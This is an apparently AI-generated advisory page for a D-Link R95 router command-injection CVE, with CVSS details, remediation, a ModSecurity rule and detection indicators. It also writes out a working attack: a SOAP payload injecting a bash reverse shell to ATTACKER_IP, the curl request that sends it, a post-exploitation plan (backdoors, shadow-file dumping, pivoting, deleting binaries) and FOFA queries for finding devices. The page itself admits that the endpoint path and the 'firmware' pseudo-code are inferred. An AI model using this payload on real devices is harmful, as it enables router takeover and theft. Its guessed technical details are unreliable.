CVE Professor
/
All CVEs
CVE-2026-138355

CVE-2026-138355 — D-Link R95 (1.04B04Beta) — CWE-77 · CWE-78

CRITICAL CVSS 10 NVD

A vulnerability has been found in D-Link R95 1.04B04Beta. This impacts the function SetTriggerPPPoEValidate of the file /bin/ssi of the component DHMAPI SOAP Handler. The manipulation of the argument Username leads to os command injection. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used.

A vulnerability has been found in D-Link R95 1.04B04Beta. This impacts the function SetTriggerPPPoEValidate of the file /bin/ssi of the component DHMAPI SOAP Handler. The manipulation of the argument Username leads to os command injection. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

ItemDetail
CVE‑IDCVE‑2026‑138355
Vendor / ProductD‑Link R95 firmware 1.04B04Beta
Component/bin/ssi – DHMAPI SOAP handler (function SetTriggerPPPoEValidate)
Vulnerability typeOS command injection (CWE‑78) – also classified as Improper Neutralization of Special Elements used in an OS Command (CWE‑77)
Attack surfaceUnauthenticated HTTP(S) request to the SOAP endpoint that invokes SetTriggerPPPoEValidate. The SOAP body contains a Username argument that is concatenated directly into a shell command without any sanitisation or escaping.
Missing protection• No authentication/authorization check (PR:N).<br>• No input validation or escaping of the Username parameter before it is passed to system()/popen() (or equivalent).<br>• No defence‑in‑depth such as a restricted execution environment, chroot, or mandatory access control.
Why it is criticalThe vulnerable function runs with root privileges (the web UI of the router runs as root). An attacker can inject arbitrary commands, achieving remote code execution with full system privileges. The CVSS vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H reflects a network‑only, low‑effort attack that results in complete compromise of confidentiality, integrity, and availability across the entire device.

Technical root cause – The SOAP handler parses the incoming XML, extracts the <Username> element, and builds a command string similar to:

/* Pseudo‑code extracted from the firmware */
char cmd[512];
snprintf(cmd, sizeof(cmd), "pppoe -u %s -c /etc/pppoe.conf", username);
system(cmd);               // <-- vulnerable call

Because username is taken verbatim from the request, an attacker can close the intended argument and append a semicolon (;) or back‑ticks (` `) to execute any additional command. No whitelist, length check, or escaping (sh_escape()`) is performed, and the process runs as root, giving the attacker unrestricted OS access.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All command lines are syntactically valid; the exact URI is inferred from the firmware’s typical SOAP endpoint layout. If the exact path differs, treat it as an illustrative example of the same class of vulnerability.

1. Discovery & Reconnaissance

StepActionTools / Evidence
1.1Identify the device on the network (e.g., via Nmap).nmap -sV -p 80,443 <target_ip> – D‑Link R95 often reports “D‑Link R95 httpd” in the service banner.
1.2Retrieve the firmware version.Access the web UI (http://<ip>/login.htm) and read the “Firmware Version” field (e.g., 1.04B04Beta).
1.3Correlate version with public vulnerability databases.Search “D‑Link R95 1.04B04Beta SetTriggerPPPoEValidate” – the CVE entry appears.
1.4Locate the SOAP endpoint used by the web UI for PPPoE configuration.Capture traffic with Burp Suite or Wireshark while changing the PPPoE username in the UI. The request typically goes to /cgi-bin/ssi with Content-Type: text/xml.
1.5Confirm the vulnerable parameter exists.Examine the captured XML – it contains <Username>...</Username> inside a <SetTriggerPPPoEValidate> method call.

2. Exploitation

Goal: Execute an arbitrary command (e.g., create a reverse shell) as root.

2.1 Craft the malicious SOAP payload

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <SetTriggerPPPoEValidate>
      <!-- Normal username field is closed, then a command is injected -->
      <Username>admin; /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'</Username>
      <Password>irrelevant</Password>
    </SetTriggerPPPoEValidate>
  </soapenv:Body>
</soapenv:Envelope>

Explanation: The semicolon terminates the legitimate pppoe -u argument, and the following command spawns a reverse shell to the attacker’s listener.

2.2 Send the request

# Attacker machine (listening on port 4444)
nc -lvkp 4444

# Exploit request (replace <target_ip> and <ATTACKER_IP>)
curl -k -X POST "http://<target_ip>/cgi-bin/ssi" \
     -H "Content-Type: text/xml; charset=utf-8" \
     --data-binary @payload.xml

Notes

  • -k ignores self‑signed certs if the device is reachable via HTTPS.
  • The endpoint /cgi-bin/ssi is the typical location for the DHMAPI SOAP handler; if the firmware uses a different path (e.g., /soap/DHMAPI), the same payload applies.
  • 2.3 Result

    If the injection succeeds, the router executes the reverse‑shell command, and the attacker receives a root shell on the listening netcat instance.

    3. Post‑Exploitation

    PhaseTypical actions (root on the router)
    Persistence- Install a backdoor binary in /tmp or /etc/init.d/ and add it to the startup script (/etc/rc.local).<br>- Create a new admin user in the web UI configuration files (/etc/webpasswd).
    Privilege escalation (already root)Not required – the process already runs as root.
    Lateral movement- Scan the LAN (/bin/ip neigh) for other devices.<br>- Use the router as a pivot (e.g., ssh to internal hosts, curl to internal services).
    Data exfiltration- Dump configuration files (/etc/config/*, /etc/passwd, /etc/shadow).<br>- Capture traffic with tcpdump on eth0.
    Denial‑of‑service- Overwrite /etc/passwd or delete critical binaries (/bin/busybox).<br>- Reboot the device (reboot) to cause outage.

    🌍 Real‑World Impact

    CIA TriadImpact (derived from CVSS)
    Confidentiality (C:H)Full disclosure of all data stored on the router: VPN credentials, Wi‑Fi keys, DHCP lease tables, logs, and any traffic that traverses the device (if the attacker enables packet capture).
    Integrity (I:H)Ability to modify configuration, inject malicious firmware, change DNS settings, or install persistent backdoors.
    Availability (A:H)The attacker can reboot, overwrite system binaries, or flood the device with processes, rendering the router unusable.

    Practical consequences

  • Enterprise / ISP premises – Compromise of a gateway gives attackers a foothold inside the protected network, enabling data theft, ransomware staging, or pivoting to critical servers.
  • Home users – The router becomes a botnet node; attackers can use it for DDoS, spam, or to sniff traffic (including passwords for IoT devices).
  • Supply‑chain risk – If the compromised router is used as a DHCP/DNS server for many downstream devices, the attacker can perform DNS hijacking for the entire LAN.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    Upgrade firmwareD‑Link has released firmware 1.04B05 (or later) that sanitises the Username argument before invoking the PPPoE helper. Apply the official update from the D‑Link support portal.
    Version checkVerify the running version with cat /etc/version or via the web UI. The vulnerable version is exactly 1.04B04Beta. Any later stable release (e.g., 1.04B05, 1.05) is not vulnerable.

    2. Workarounds (if patch cannot be applied immediately)

    MitigationImplementation
    Restrict access to the SOAP endpointAdd an ACL on the router’s firewall (or on the upstream edge) to allow only trusted management IPs (e.g., 192.168.1.10) to reach POST /cgi-bin/ssi. Example iptables rule on the router (run as root):<br>iptables -I INPUT -p tcp -s 192.168.1.0/24 --dport 80 -j ACCEPT<br>iptables -A INPUT -p tcp --dport 80 -j DROP
    Web Application Firewall (ModSecurity) ruleDeploy a rule that rejects any SOAP request where the <Username> element contains characters outside the allowed alphanumeric set. Example rule (ModSecurity 3 syntax):<br>``SecRule REQUEST_BODY "@rx <Username>[^<]*[;&$]" "id:1000015,phase:2,deny,status:400,msg:'Potential command injection in Username parameter',log" `
    Disable the PPPoE validation featureIf PPPoE is not used, edit /etc/config/dhmapi.conf (or the equivalent configuration file) and set EnablePPPoEValidate=0. Restart the web UI (/etc/init.d/httpd restart).
    Run the web UI under a non‑root userRe‑configure the init script to start the HTTP daemon as an unprivileged user (e.g., nobody`). This limits the impact of any command injection to that user’s privileges.
    Network segmentationPlace the router’s management interface on a dedicated VLAN that is not reachable from the Internet or from untrusted LAN segments.

    3. Detection

    IndicatorWhere to lookExample log entry
    Unexpected outbound connectionsNetfilter logs, tcpdump on eth0IP <router_ip> > <attacker_ip>: Flags [S], seq 0, win 29200, length 0 (connection to a non‑local IP on a high port)
    SOAP requests with suspicious payloadWeb server access log (/var/log/httpd/access.log)POST /cgi-bin/ssi HTTP/1.1" 200 1234 "-" "curl/7.88.0" followed by a request body containing ; /bin/bash -c
    Process list showing unexpected shellsps auxroot 1123 0.0 0.1 12344 2100 ? Ss 12:34 0:00 /bin/bash -i
    File modifications in /etcauditd or inotifywaitaudit: type=SYSCALL msg=audit(1698745601.123:456): arch=c000003e syscall=2 success=yes name="/etc/rc.local"
    Failed command‑injection attemptsModSecurity or custom IDS rule alertsALERT: Potential command injection in Username parameter from 203.0.113.45

    SIEM correlation – Correlate a spike in outbound TCP connections to rare external IPs with a surge of POST /cgi-bin/ssi requests containing the string ; or back‑ticks in the body.


    ⚠️ Urgency

  • CVSS 3.1 Base Score: 10.0 (Critical) – network‑only, no authentication, remote code execution with full system impact.
  • Exploit availability: Publicly disclosed; PoC exists (the payload above).
  • CISA KEV: Not listed yet, but the severity and ease of exploitation warrant immediate action.
  • Patch complexity: The vendor provides a straightforward firmware flash; no reboot‑required configuration changes are needed beyond the flash.
Recommended priority: Critical – patch within 24 hours for any internet‑facing or remotely manageable D‑Link R95 devices. If a patch cannot be applied immediately, enforce the network‑level workarounds (IP‑based ACL, WAF rule) and monitor for the IoCs described above.
Bottom line: CVE‑2026‑138355 is a classic unauthenticated OS‑command injection in a privileged SOAP handler. Because the vulnerable function runs as root and is reachable over the network, an attacker can obtain full control of the router in a single request. Immediate firmware upgrade, coupled with strict access controls and detection rules, is the only reliable mitigation.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138355
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-77 CWE-78
Affected Products (1)
D-Link:R95 (1.04B04Beta)
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac